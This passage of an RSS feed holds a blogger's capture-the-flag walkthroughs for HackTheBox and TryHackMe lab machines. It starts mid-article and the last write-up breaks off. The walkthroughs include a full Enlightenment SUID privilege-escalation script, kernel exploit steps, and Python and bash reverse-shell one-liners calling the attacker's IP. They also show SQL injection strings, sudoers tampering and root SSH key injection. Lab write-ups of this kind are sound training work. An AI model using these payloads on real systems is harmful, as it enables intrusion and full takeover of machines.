src="https://cdn-images-1.medium.com/max/554/1*9jAr-gLmXQIztNMna1ik7g.png" /></figure><h3>Credentials Found</h3><p>The WordPress config.php file reveals credentials, but these don&#39;t work for SSH or FTP. So, we continue investigating.</p><h3>Additional File Discovery</h3><p>Further digging in /var/www/html reveals another .php file containing a different set of credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*TXPvAWr7Eu7z27g3kPnz1Q.png" /></figure><p>Using these credentials, we attempt to login via <strong>SSH</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*anVUa9CI14leeS4OZpBgRg.png" /></figure><p>Success! We now have user-level access and can retrieve the <strong>user flag</strong>.</p><p><strong>Note:</strong> You can also use these credentials to log in via the FTP server, but SSH is more interactive.</p><h3>Privilege Escalation</h3><p>To escalate privileges, we use <strong>LinPEAS</strong> to enumerate the system. Follow these steps:</p><ol><li>Download the latest linpeas.sh script from <a href="https://github.com/peass-ng/PEASS-ng/releases">PEASS-ng GitHub</a>.</li><li>Transfer the script to the target machine using FTP:</li></ol><ul><li>Login via FTP with the previously found credentials.</li><li>Navigate to /tmp and upload the script:</li></ul><pre>ftp&gt; put linpeas.sh</pre><p>3. On the target machine (via SSH):</p><ul><li>Navigate to /tmp and make the script executable:</li></ul><pre>chmod +x linpeas.sh</pre><p>Run the script and save its output:</p><pre>./linpeas.sh &gt; linpeas_output.txt</pre><p>4. Retrieve the output file via FTP for further analysis:</p><pre>ftp&gt; get linpeas_output.txt</pre><h3>Kernel Exploit</h3><p>From the linpeas output, we identify a vulnerable kernel version and a tagged <strong>CVE</strong>:</p><ul><li><strong>CVE-2016–8655</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*RwbHGN_DwxPdFFPuRIyEBg.png" /></figure><p>A corresponding exploit can be found on <strong>Exploit-DB</strong>:</p><ul><li><a href="https://www.exploit-db.com/exploits/47170">https://www.exploit-db.com/exploits/47170</a></li></ul><h3>Exploitation Steps</h3><ol><li>Save the exploit locally as exploit.c.</li><li>Transfer the exploit to the target machine’s /tmp directory via FTP:</li></ol><pre>ftp&gt; put exploit.c</pre><p>3. On the target machine (SSH):</p><ul><li>Compile the exploit:</li></ul><pre>gcc exploit.c -o exploit -lpthread</pre><ul><li>Run the compiled exploit:</li></ul><pre>./exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*FmmOxh3isegFUk-9pni5cw.png" /><figcaption>Exploiting</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*WsCU86zGizS0dqYGfOB7hA.png" /><figcaption>GOT ROOT :)</figcaption></figure><h3>Conclusion</h3><p>We successfully exploited the <strong>Jangow 0.1</strong> machine:</p><ul><li>Gained user access via <strong>LFI</strong> and credential discovery.</li><li>Escalated privileges using a <strong>kernel exploit</strong>.</li></ul><p><strong>Root Flag Captured!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6742b251d2ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackthebox — BoardLight Walkthrough]]></title>
            <link>https://medium.com/@yvan.thrimawithana/hackthebox-boardlight-walkthrough-2cae03520c46?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cae03520c46</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[boardlight-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Thu, 10 Oct 2024 15:13:40 GMT</pubDate>
            <atom:updated>2024-10-10T15:13:40.628Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackthebox — BoardLight Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/1*GXYL9YZ_-C3bro0XfMCagQ.png" /></figure><p>We start with a basic Nmap scan to check for open ports on the target IP address.</p><pre>$ nmap 10.10.11.11<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-10 06:12 EDT<br>Nmap scan report for 10.10.11.11 (10.10.11.11)<br>Host is up (0.52s latency).<br>Not shown: 998 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap done: 1 IP address (1 host up) scanned in 89.48 seconds</pre><p>The scan reveals that two ports are open: <strong>22 (SSH)</strong> and <strong>80 (HTTP)</strong>. Since port 80 is open, let’s explore the web application.</p><h3>Website Exploration</h3><p>Navigating to the website reveals a basic static page. Notably, the footer mentions the domain board.htb. To ensure proper resolution of this domain, we add it to our /etc/hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_0oZj30cV57WeJthTl-cw.png" /><figcaption>board.htb website</figcaption></figure><p>Next, we enumerate hidden directories using <strong>FFUF</strong> with a wordlist aimed at discovering subdomains and hidden paths.</p><pre>└─$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://board.htb/ -H &quot;Host: FUZZ.board.htb&quot; -fs 15949 -s<br><br>crm</pre><p>The scan identifies a hidden path: crm.board.htb. Upon visiting this URL, we find a login page powered by <a href="https://www.dolibarr.org/">Dolibarr 17.0.0</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*IV8Ti_UxfyFV0ppWpd9RqQ.png" /><figcaption>Login page</figcaption></figure><p>After some testing, we discover that the default credentials work:</p><ul><li><strong>Username:</strong> admin</li><li><strong>Password:</strong> admin</li></ul><h3>Exploiting the Vulnerability</h3><p>After gaining access to the CRM, I learned that this specific version of Dolibarr is vulnerable to a Remote Code Execution (RCE) attack identified by <strong>CVE-2023–30253</strong>. To exploit this vulnerability, we use a Python exploit script found in a <a href="https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253?tab=readme-ov-file">GitHub repository</a>.</p><p>The command to initiate the exploit looks like this:</p><pre>python3 exploit.py http://crm.board.htb admin admin 10.10.14.51 9001<br>[*] Trying authentication...<br>[**] Login: admin<br>[**] Password: admin<br>[*] Trying created site...<br>[*] Trying created page...<br>[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection</pre><p>remember to set up a Netcat listener on our attacking machine:</p><pre>└─$ nc -nvlp 9001<br>listening on [any] 9001 ...<br>connect to [10.10.14.51] from (UNKNOWN) [10.10.11.11] 47926<br>bash: cannot set terminal process group (891): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ ls<br>index.php<br>styles.css.php</pre><p>We now have a shell as the www-data user. After some exploration, I discover a user named larissa, who possesses the user.txt flag. However, I don&#39;t have permission to access it.</p><h3>Privilege Escalation</h3><p>While searching for ways to escalate privileges, I find a configuration file conf.php in the htdocs directory:</p><pre>www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php<br>&lt;?php<br>$dolibarr_main_db_user=&#39;dolibarrowner&#39;;<br>$dolibarr_main_db_pass=&#39;serverfun2$2023!!&#39;;</pre><p>This file reveals database credentials. Attempting to SSH into the larissa account using these credentials is successful:</p><pre>$ ssh larissa@10.10.11.11<br>larissa@10.10.11.11&#39;s password: <br>Last login: Thu Oct 10 06:24:13 2024 from 10.10.14.51<br>larissa@boardlight:~$</pre><p>Now logged in as larissa, I can read the user.txt flag:</p><pre>larissa@boardlight:~$ cat user.txt <br>[flag]</pre><p>With access to the larissa account, I now turn my attention to privilege escalation. I run linpeas.sh to identify potential privilege escalation vectors:</p><pre># ./linpeas.sh</pre><p>Among the results, I notice an SUID binary related to <strong>Enlightenment</strong> that raises red flags:</p><pre>-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)</pre><p>Research indicates that this binary has a known privilege escalation vulnerability, <strong>CVE-2022–37706</strong>.</p><h3>Exploit for Privilege Escalation</h3><p>I found an <a href="https://www.exploit-db.com/exploits/51180">exploit</a> online and created the following shell script to take advantage of this vulnerability:</p><pre>nano exploit.sh</pre><p>The contents of exploit.sh are as follows:</p><pre>#!/usr/bin/bash<br># Exploit for CVE-2022-37706<br>echo &quot;CVE-2022-37706&quot;<br>echo &quot;[*] Trying to find the vulnerable SUID file...&quot;<br>file=$(find / -name enlightenment_sys -perm -4000 2&gt;/dev/null | head -1)<br>if [[ -z ${file} ]]<br>then<br>    echo &quot;[-] Couldn&#39;t find the vulnerable SUID file...&quot;<br>    exit 1<br>fi<br>echo &quot;[+] Vulnerable SUID binary found!&quot;<br>mkdir -p /tmp/net<br>mkdir -p &quot;/dev/../tmp/;/tmp/exploit&quot;<br>echo &quot;/bin/sh&quot; &gt; /tmp/exploit<br>chmod a+x /tmp/exploit<br>${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), &quot;/dev/../tmp/;/tmp/exploit&quot; /tmp///net</pre><p>Running the script gives us root access:</p><pre>larissa@boardlight:~$ ./exploit.sh<br>CVE-2022-37706<br>[*] Trying to find the vulnerable SUID file...<br>[+] Vulnerable SUID binary found!<br>[+] Trying to pop a root shell!<br># whoami<br>root</pre><h3>Retrieve Root Flag</h3><p>Finally, I navigate to the root directory to retrieve the root.txt flag:</p><pre># cd /root/<br># cat root.txt<br>[flag]</pre><h3>Conclusion</h3><p>With both flags collected, I have successfully pwned the <strong>BOARDLIGHT</strong> machine!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*n3qVsN5Vv3eDl__fftScdw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2cae03520c46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackthebox — PermX Walkthrough]]></title>
            <link>https://medium.com/@yvan.thrimawithana/hackthebox-permx-walkthrough-61feff71243f?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/61feff71243f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Wed, 09 Oct 2024 12:12:14 GMT</pubDate>
            <atom:updated>2024-10-09T12:12:14.961Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackthebox — PermX Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*jlQvUJXUunGHfkvLafrLkA.png" /></figure><p>I’ll walk you through how I exploited the PermX machine on HackTheBox to gain root access. The machine features a web application vulnerability that ultimately leads to a privilege escalation scenario.</p><h4>Initial Enumeration</h4><p>First, I ran a simple nmap scan to identify the open ports and services:</p><pre>nmap -sV 10.10.11.23</pre><p>The results showed:</p><ul><li><strong>Port 22</strong>: OpenSSH 8.9p1 (Ubuntu)</li><li><strong>Port 80</strong>: Apache 2.4.52 (Ubuntu)</li><li>The server is running on Linux.</li></ul><h4>Subdomain Fuzzing</h4><p>I began fuzzing the website to look for subdomains:</p><pre>ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.permx.htb -H &quot;Host: FUZZ.permx.htb&quot; -fs 0</pre><p>This revealed two subdomains: <a href="http://www.permx.htb/"><strong>www.permx.htb</strong></a> and <strong>lms.permx.htb</strong>.</p><p>Upon visiting lms.permx.htb, I found a login page. Rather than testing for SQL injection, I inspected the application and discovered it was running <strong>Chameleon</strong>, a service with a known RCE vulnerability in its bigUpload.php file.</p><h4>Exploiting RCE via File Upload</h4><p>I leveraged this vulnerability by using a <a href="https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc">github </a>tool :</p><pre>python3 main.py -u http://lms.permx.htb/ -a revshell</pre><p>The reverse shell was successfully uploaded, giving me access to the server.</p><h4>Gaining Initial Access: SSH into mtz</h4><p>While exploring the server, I found a configuration file containing database credentials.</p><pre>// Database connection settings.<br>$_configuration[&#39;db_host&#39;] = &#39;localhost&#39;;<br>$_configuration[&#39;db_port&#39;] = &#39;3306&#39;;<br>$_configuration[&#39;main_database&#39;] = &#39;chamilo&#39;;<br>$_configuration[&#39;db_user&#39;] = &#39;chamilo&#39;;<br>$_configuration[&#39;db_password&#39;] = &#39;[dbpassword ;)]&#39;;<br>// Enable access to database management for platform admins.<br>$_configuration[&#39;db_manager_enabled&#39;] = false;</pre><p>Using these credentials, I SSH’d into the machine as mtz:</p><pre>ssh mtz@10.10.11.23</pre><p>After logging in, I found the user.txt flag in the home directory.</p><h4>Privilege Escalation</h4><p>I then ran sudo -l to see what commands mtz could run without a password:</p><pre>sudo -l</pre><p>This revealed that mtz could execute the script /opt/acl.sh with NOPASSWD. The acl.sh script allows modification of file permissions. I took advantage of this by creating a symbolic link to the /etc/sudoers file:</p><pre>ln -s /etc/sudoers /home/mtz/yvan</pre><p>Next, I executed the script to give mtz read and write access to this symbolic link:</p><pre>sudo /opt/acl.sh mtz rw /home/mtz/yvan</pre><p>I edited the sudoers file using the symbolic link:</p><pre>nano /home/mtz/yvan</pre><p>I added the following line to grant mtz full sudo privileges without a password:</p><pre>mtz ALL=(ALL) NOPASSWD: ALL</pre><p>After confirming the changes with sudo -l, I executed sudo su to become root:</p><pre>sudo su</pre><p>Finally, I retrieved the root.txt flag from the root directory.</p><p>This completes the exploitation of the PermX machine. The key to this attack was leveraging the vulnerable file upload feature and using a symbolic link to escalate privileges through the sudoers file.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61feff71243f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — U.A. High School Walkthrough]]></title>
            <link>https://medium.com/@yvan.thrimawithana/tryhackme-u-a-high-school-walkthrough-7b5a77fa39d9?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b5a77fa39d9</guid>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Fri, 27 Sep 2024 21:55:57 GMT</pubDate>
            <atom:updated>2024-09-27T21:58:59.148Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — U.A. High School Walkthrough</h3><p><a href="https://tryhackme.com/r/room/yueiua">(Link to room)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*wzfAH8ly7GqfFWSF9qoGJQ.png" /></figure><p>In this room, we will explore a vulnerable web application hosted on an Ubuntu system, uncover multiple security flaws, exploit them for privilege escalation, and eventually gain root access. Let’s dive into the process!</p><h3>1. Nmap Scan</h3><ul><li>lets run a simple nmap scan on the ip address</li></ul><pre>nmap -sV 10.10.183.170</pre><pre>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>2. Scan &amp; Enumerate website</h3><ul><li>we use gobuster to enumerate the website</li></ul><pre>gobuster dir -u &lt;http://10.10.183.170&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,html,css</pre><pre>/.php                 (Status: 403) [Size: 278]<br>/index.html           (Status: 200) [Size: 1988]<br>/contact.html         (Status: 200) [Size: 2056]<br>/about.html           (Status: 200) [Size: 2542]<br>/.html                (Status: 403) [Size: 278]<br>/assets               (Status: 301) [Size: 315] [--&gt; &lt;http://10.10.183.170/assets/&gt;]<br>/courses.html         (Status: 200) [Size: 2580]<br>/admissions.html      (Status: 200) [Size: 2573]</pre><ul><li>we find out the normal existent directories however we come across an assets directory so upon inspection there’s no response and once we inspect the page the assets css directory is saved as assets/style.css so we tried index.php and index.html. index.php works with no errors</li><li>instead of gobuster or dirbuster we use <strong>Dirsearch</strong></li></ul><pre>dirsearch -u &lt;http://10.10.183.170/assets/index.php&gt;</pre><p>results :</p><pre>14:54:44] 404 -  275B  - /assets/index.php/%2e%2e//google.com              <br>[14:57:22] 200 -   40B  - /assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir</pre><ul><li>we discover a hidden CMD parameter so lets test it out by running the following</li></ul><p>whoami</p><p>../../../etc/passwd</p><p>ls -la (straight ahead we can notice its in encoded is 64bit so decode it to reveal plain text)</p><h3>4. Revshell the website</h3><ul><li>after acknowledging that path traversal is possible with this parameter lets establish a reverse shell. lets use a shell from <a href="https://www.revshells.com/">https://www.revshells.com/</a></li></ul><pre>python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.8.21.88&quot;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)&#39;</pre><ul><li>start up my netcat listener on port 9001 and lets load up the revshell into the url</li></ul><pre>└─$ netcat -nlvp 9001                                             <br>listening on [any] 9001 ...<br>connect to [10.8.21.88] from (UNKNOWN) [10.10.183.170] 46496<br>$ whoami<br>whoami<br>www-data</pre><p>Success !</p><ul><li>upon inspection of the system in the (Hint : use path traversal to go to parent directories) we come across a passphrase.txt file and it is encoded in 64byte (<strong>Note it down for later use)</strong></li><li>further inspecting the site we come across an images folder inside the assets directory, in that we come across a jpg oneforall.jpg . i ran a simple python server inside that directory</li></ul><pre>python3 -m http.server 8000</pre><p>and downloaded the image onto my local machine using the wget command</p><ul><li>while inspecting the image i noticed its corrupted, more likely renamed to jpg fron png so lets see how we can fix this</li><li>i simple used the xxd tool to convert the image to a hexdump and used <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a> (compare the jpg hex and png hex headers and do the needful) to edit the hexdump so that it opens the jpg file.</li></ul><pre>$ xxd oneforall.jpg &gt;&gt; hexdump.txt</pre><pre>GNU nano 8.1                                                                  hexdump.txt                                                                            <br>00000000: ffd8 0d0a 1a0a 0000 0001 0100 0001  .PNG............<br>00000010: 0001 0000 ffdb 0043 0006 0405 0605 0406  .......C........<br>00000020: 0605 0607 0706 080a 100a 0a09 090a 140e  ................<br>00000030: 0f0c 1017 1418 1817 1416 161a 1d25 1f1a  .............%..<br>00000040: 1b23 1c16 1620 2c20 2326 2729 2a29 191f  .#... , #&amp;&#39;)*)..</pre><ul><li>afterward we could probe the image for any hidden files using steghide</li></ul><pre>──(kali㉿kali)-[/media/sf_hackthebox]<br>└─$ steghide extract -sf modified_oneforall.jpg<br>Enter passphrase: <br>Corrupt JPEG data: 18 extraneous bytes before marker 0xdb<br>the file &quot;creds.txt&quot; does already exist. overwrite ? (y/n) y<br>wrote extracted data to &quot;creds.txt&quot;.<br>                                                                                                                                                                       <br>┌──(kali㉿kali)-[/media/sf_hackthebox]<br>└─$ cat creds.txt</pre><ul><li>we do in fact have a hidden folder inside the picture and we unlock the creds of deku user</li><li>afterwards we simply connect to deku’s account using ssh</li></ul><pre>└─$ ssh deku@10.10.183.170</pre><p>and thus we retreive the contents of the user.txt</p><pre>deku@myheroacademia:~$ cat user.txt<br>THM{[flag]}</pre><h3>Capturing the root flag</h3><ul><li>lets first find out the list of sudo services that deku can run</li></ul><pre>deku@myheroacademia:~/.ssh$ sudo -l<br>Matching Defaults entries for deku on myheroacademia:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin</pre><pre>User deku may run the following commands on myheroacademia:<br>    (ALL) /opt/NewComponent/feedback.sh</pre><ul><li>we can see that the <a href="http://feedback.sh/">feedback.sh</a> can be run in sudo lets try to inspect that file</li></ul><pre>deku@myheroacademia:/opt/NewComponent$ cat feedback.sh<br>#!/bin/bash</pre><pre>echo &quot;Hello, Welcome to the Report Form       &quot;<br>echo &quot;This is a way to report various problems&quot;<br>echo &quot;    Developed by                        &quot;<br>echo &quot;        The Technical Department of U.A.&quot;</pre><pre>echo &quot;Enter your feedback:&quot;<br>read feedback</pre><pre>if [[ &quot;$feedback&quot; != *&quot;\\`&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;)&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;\\$(&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;|&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;&amp;&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;;&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;?&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;!&quot;* &amp;&amp; &quot;$feedback&quot; != *&quot;\\\\&quot;* ]]; then<br>    echo &quot;It is This:&quot;<br>    eval &quot;echo $feedback&quot;</pre><pre>    echo &quot;$feedback&quot; &gt;&gt; /var/log/feedback.txt<br>    echo &quot;Feedback successfully saved.&quot;<br>else<br>    echo &quot;Invalid input. Please provide a valid input.&quot; <br>fi</pre><ul><li>upon inspection of the sh file we can see that all looks good except for that eval statement which could pose as a threat and allow us to run shell codes as the input</li><li>so in order to proceed from here we simply have to add validate our system in the root directory. now that <a href="http://feedback.sh/">feedback.sh</a> has root access we simply have to pass our ssh authentication key via the feedback form so that it will be added to the root authenticated key list</li></ul><p>Step 1 : generate a valid ssh authentication key</p><pre>ssh-keygen -t rsa -b 4096 -C &quot;my SSH key&quot; -f ./my_ssh_key</pre><ul><li>copy the <a href="http://mysshkey.pub/">mysshkey.pub</a> contents and</li><li>run the <a href="http://feedback.sh/">feedback.sh</a> file and insert the shell command to the feedback input</li></ul><pre>[key] &gt;&gt; /root/.ssh/authorized_keys</pre><ul><li>voila now whats left is for us to connect to the root user locally using our private ssh key on our local machine</li></ul><pre>ssh -i my_ssh_key root@10.10.183.170</pre><p>and if all goes okay it should log us in as root and we simply read the contents of the finaly root flag</p><pre>cat root.txt<br>root@myheroacademia:/opt/NewComponent# cat /root/root.txt<br>__   __               _               _   _                 _____ _          <br>\\ \\ / /__  _   _     / \\   _ __ ___  | \\ | | _____      __ |_   _| |__   ___ <br> \\ V / _ \\| | | |   / _ \\ | &#39;__/ _ \\ |  \\| |/ _ \\ \\ /\\ / /   | | | &#39;_ \\ / _ \\<br>  | | (_) | |_| |  / ___ \\| | |  __/ | |\\  | (_) \\ V  V /    | | | | | |  __/<br>  |_|\\___/ \\__,_| /_/   \\_\\_|  \\___| |_| \\_|\\___/ \\_/\\_/     |_| |_| |_|\\___|<br>                                  _    _ <br>             _   _        ___    | |  | |<br>            | \\ | | ___  /   |   | |__| | ___ _ __  ___<br>            |  \\| |/ _ \\/_/| |   |  __  |/ _ \\ &#39;__|/ _ \\<br>            | |\\  | (_)  __| |_  | |  | |  __/ |  | (_) |<br>            |_| \\_|\\___/|______| |_|  |_|\\___|_|   \\___/ </pre><pre>THM{[flag]}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b5a77fa39d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — CheeseCTF Walkthrough]]></title>
            <link>https://medium.com/@yvan.thrimawithana/cheesectf-walkthrough-3a0b6d1e6807?source=rss-91eed4a6e03e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a0b6d1e6807</guid>
            <category><![CDATA[cheese-ctf]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yvan Thrimawithana]]></dc:creator>
            <pubDate>Thu, 26 Sep 2024 18:28:29 GMT</pubDate>
            <atom:updated>2024-09-27T21:58:02.068Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/r/room/cheesectfv10">(link to room)</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*OXfH6QNLPshE3830Zu-sSg.png" /></figure><h3>Initial Nmap Scan:</h3><ul><li>Start with an Nmap scan to identify open ports:</li></ul><pre>nmap -sV 10.10.124.58</pre><ul><li>We see a large number of ports open, including <strong>FTP</strong>, <strong>SSH</strong>, <strong>Telnet</strong>, <strong>SMTP</strong>, and <strong>HTTP</strong> servers.</li></ul><h3>Accessing the HTTP Server:</h3><ul><li>Navigate to the HTTP server on port 80, where we find a website for “Cheese.”</li></ul><h3>Cheese website</h3><ul><li>After inspection, we find a simple, unencrypted <strong>login page</strong>, identified using Burp Suite’s scanner.</li></ul><h3>Login page</h3><p><strong>SQL Injection Attempt:</strong></p><ul><li>Let’s attempt a simple SQL injection on the login page. I first tried:</li></ul><pre>&#39; OR 1=1 -- --</pre><ul><li>But this didn’t work, indicating some content filtering is in place. Let’s switch to:</li></ul><pre>&#39; || 1=1</pre><ul><li>Success! We find a hidden <strong>admin panel</strong>.</li></ul><h3>File Inclusion Exploit:</h3><ul><li>From the URL, we can see the parameter file is retrieving content. We attempt directory traversal using:</li></ul><pre>../../../etc/passwd</pre><ul><li>The system allows us to enumerate files! We now plan a <strong>File Inclusion exploit</strong>.</li></ul><h3>Generating Reverse Shell Payload:</h3><ul><li>Using a tool called <a href="https://github.com/synacktiv/php_filter_chain_generator">php_filter_chain_generator</a>, we generate a reverse shell payload:</li></ul><pre>python3 php_filter_chain_generator.py --chain &quot;&lt;?php exec(\\&quot;/bin/bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.8.21.88/9999 0&gt;&amp;1&#39;\\&quot;); ?&gt;&quot; | grep &quot;^php&quot; &gt; payload.txt</pre><ul><li>Once we have the contents of payload.txt, we append it to the URL:</li></ul><pre>&lt;http://10.10.220.223/secret-script.php?file=[payload]&gt;</pre><h3>Netcat Reverse Shell:</h3><ul><li>Run <strong>Netcat</strong> to establish a connection:</li></ul><pre>nc -lvnp 9999</pre><ul><li>The reverse shell connects, and after navigating through the system, we find a user named comte.</li></ul><h3>Accessing Comte’s Account via SSH:</h3><ul><li>We see the ssh/authorized_keys file allows write access. So, we create an SSH key pair:</li></ul><pre>ssh-keygen -t rsa -b 2048 -f ~/my_ssh_key</pre><ul><li>Copy the public key and add it to the server’s authorized keys file for comte:</li></ul><pre>sudo echo &quot;[public_key]&quot; &gt;&gt; /.ssh/authorized_keys</pre><ul><li>Connect to comte’s account via SSH:</li></ul><pre>ssh -i my_ssh_key comte@[IP]</pre><ul><li>Success! Now you have access to the user.txt flag.</li></ul><h3>Escalating to Root:</h3><ul><li>To find root privileges, list available binaries and services with sudo -l. We notice the service <strong>exploit.timer</strong>.</li><li>Attempt to start it:</li></ul><pre>systemctl start exploit.timer</pre><ul><li>The error indicates a missing start timer. We modify the file, save it, and restart the service:</li></ul><pre>systemctl status exploit.timer</pre><ul><li>With the service running, navigate to /opt/, where we find the xxd binary with root privileges.</li></ul><h3>GTFObins and xxd:</h3><ul><li>Visit <a href="https://gtfobins.github.io/gtfobins/xxd/">GTFOBins</a> to understand how to exploit xxd. Using this method, we add our SSH key to root’s authorized keys:</li></ul><pre>echo &quot;[key]&quot; | xxd | /opt/xxd -r - &quot;/root/.ssh/authorized_keys&quot;</pre><ul><li>Now connect as root using SSH:</li></ul><pre>ssh -i my_ssh_key root@10.10.220.223</pre><p>Voila! You now have root access.</p><h3>An Alternate (Longer) Approach</h3><h3>Gobuster Scan:</h3><ul><li>Run a Gobuster directory scan to enumerate additional files:</li></ul><pre>gobuster dir -u &lt;http://10.10.124.58&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,html,css</pre><ul><li>the scan shows</li></ul><pre>/index.html           (Status: 200)<br>/login.css            (Status: 200)<br>/login.php            (Status: 200)<br>/users.html           (Status: 200)<br>/messages.html        (Status: 200)</pre><p><strong>Investigating Pages:</strong></p><ul><li>The orders.html and users.html files aren’t too interesting. However, <strong>messages.html</strong> stands out. Click on the link to see:</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a0b6d1e6807" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>